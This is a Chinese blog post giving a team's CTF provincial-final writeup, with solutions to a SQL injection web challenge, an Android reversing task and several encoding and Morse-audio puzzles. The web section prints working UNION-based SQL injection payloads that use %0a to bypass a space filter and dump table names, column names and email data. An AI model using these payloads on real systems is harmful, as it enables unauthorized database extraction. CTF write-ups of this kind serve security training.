2022.9.24 CTF省赛决赛孙精灵战队writeup

孙精灵战队

靶机复现地址
PWN-Fruit sugar gourd-v2:1.14.97.218:24457
WEB-ezphp: http://80.endpoint-d9deec0835844de5831e550ffe384d16.dasc.buuoj.cn:81
PWN-Hodgepodge: http://80.endpoint-d9deec0835844de5831e550ffe384d16.dasc.buuoj.cn:81
WEB-ezupload: http://80.endpoint-adff07ea0806451c90eb839004ec2eed.dasc.buuoj.cn:81
PWN-GO-MAZE-v4: 1.14.97.218:28231
WEB-babysql-v2: http://80.endpoint-376de2f27c244933b57999f74364ab79.dasc.buuoj.cn:81
WEB-zip-question: http://80.endpoint-2425e6c91ba944d39da382281bc75636.dasc.buuoj.cn:81
1. 解题过程中,关键步骤不可省略,不可含糊其辞、一笔带过。
2. 解题过程中如是自己编写的脚本,不可省略,不可截图(代码字体可以调小;而如果代码太长,则贴关键代码函数)。
3. 您队伍所有解出的题目都必须书写WRITEUP,缺少一个则视该WRITEUP无效,队伍成绩将无效。
4. WRITEUP如过于简略和敷衍,导致无法形成逻辑链条推断出战队对题目有分析和解决的能力,该WRITEUP可能被视为无效,队伍成绩将无效。
5. 提交PDF版本即可

一、战队信息

  • 名称:孙精灵
  • 排名:114(黑灯前)

二、解题情况

粘贴解题图片

三、解题过程

题目按照顺序填写

Web

题目四 babysql

  1. 在burpsuite中 发现存在引号闭合的sql注入

image.png

image.png

  1. order by获取注入点,这里空格被过滤了,使用%0a作为替代
-1%0aunion%0aselect%0a1%2c2%2c3%23
-1
union
select
1,2,3#

image.png

在注入点中输入database()得到ctf数据库。

  1. 爆数据表
-1%0aunion%0aselect%0agroup_concat(table_name)%2c2%2c3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema%3d'ctf'%0aand%0atable_name%3d'emails'%23
-1
union
select
group_concat(table_name),2,3
from
information_schema.tables
where
table_schema='ctf'
and
table_name='emails'#

image.png

  1. 爆字段
-1%0aunion%0aselect%0agroup_concat(column_name)%2c2%2c3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema%3d'ctf'%0aand%0atable_name%3d'emails'%23
-1
union
select
group_concat(column_name),2,3
from
information_schema.columns
where
table_schema='ctf'
and
table_name='emails'#

image.png

  1. 爆值
-1%0aunion%0aselect%0agroup_concat(email_id)%2c2%2c3%0afrom%0actf.emails
-1
union
select
group_concat(email_id),2,3
from
ctf.emails

image.png

PWN

RE

题目二 ezandroid

  1. 尝试着改一下后缀这些能不能直接找到flag。改成了zip

  2. 发现zip文件里有很多文件,对里面的文件一个一个进行查看

最终在res\mipmap-xxxhdpi-v4这个路径下找到图片里的flag

image.png

Crypto

MISC

题目一 checkin_gift

  1. 使用010编辑器发现有类似base编码

image.png

  1. 通过rot13解密,base64解密,再经一轮base32解密后,得到了最终的flag

image.png

题目二 m4a

  1. 将文件命名为mp4文件格式后,发现是一个mp4的音频文件,里面是摩斯密码,导入au后,根据音波的长短判定其为点还是横。

image.png

  1. 长-短.处理后。得到下列的morse密码。
-... .- ....- ...-- -... -.-. . ..-. -.-. ..--- ----- ....- 
  1. 解密后得到下列字符串。
BA43BCEFC204
  1. 尝试010编辑器查看内部数据。

image.png

发现尾部有KP字样,倒过来后类似zip的文件头。

  1. 我们编写如下脚本,从后往前经空格字符处理过后,借助栈的数据结构使得每16个字符进行两两倒装。
#include<iostream>
#include<stdio.h>
#include<string.h>
#include<stack>
using namespace std;

stack<string> S;

int main()
{
	int n=200;
	for(int i=0;i<n;i++)
	{
		string s;
		cin>>s;
		getchar();
		S.push(s);
	}
	for(int i=1;i<10;i++)
		printf("*************************\n");
	for(int i=0;i<n;i++){
		string s=S.top();
		//cout<<"s:"<<s<<endl;
		//cout<<s.length()-1<<endl;
		char res[2];
		char a[32];
		int flag=1,index=0;
		
		for(int i=s.length()-1;i>=0;i--){
			if(s.at(i)==' ') continue;
			if(flag==1){
				res[0]=s.at(i);
				flag=2;
			}
			else{
				res[1]=s.at(i);
				a[index]=res[1];
				a[index+1]=res[0];
				index=index+2;
				flag=1;
			}
		}
		for(int i=0;i<index;i++){
			printf("%c",a[i]);
		}
		printf("\n");

		S.pop();
	}
	//while(1);
    return 0;
}
  1. 将最后一行(人工干预反转),和前200行进行倒置后,导入010编辑器

image.png

  1. 生成的压缩包解压后需要密码,这正是之前所听到的摩斯密码。

image.png

  1. 得到atabash.txt文件
(+w)v&LdG_FhgKhdFfhgahJfKcgcKdc_eeIJ_gFN

考虑到数字字母和常用符号同时出现,且文件名提示atabash,我们可以尝试rot47+atabash解密。

image.pngv

ROT5、ROT13、ROT18、ROT47 编码是一种简单的码元位置顺序替换暗码。此类编码具有可逆性,可以自我解密,主要用于应对快速浏览,或者是机器的读取,而不让其理解其意。

ROT5 是 rotate by 5 places 的简写,意思是旋转5个位置,其它皆同。下面分别说说它们的编码方式:
ROT5:只对数字进行编码,用当前数字往前数的第5个数字替换当前数字,例如当前为0,编码后变成5,当前为1,编码后变成6,以此类推顺序循环。
ROT13:只对字母进行编码,用当前字母往前数的第13个字母替换当前字母,例如当前为A,编码后变成N,当前为B,编码后变成O,以此类推顺序循环。
ROT18:这是一个异类,本来没有,它是将ROT5和ROT13组合在一起,为了好称呼,将其命名为ROT18。
ROT47:对数字、字母、常用符号进行编码,按照它们的ASCII值进行位置替换,用当前字符ASCII值往前数的第47位对应字符替换当前字符,例如当前为小写字母z,编码后变成大写字母K,当前为数字0,编码后变成符号_。用于ROT47编码的字符其ASCII值范围是33-126,具体可参考ASCII编码。
posted @ 2022-09-24 15:50  yuezi2048  阅读(43)  评论(0编辑  收藏  举报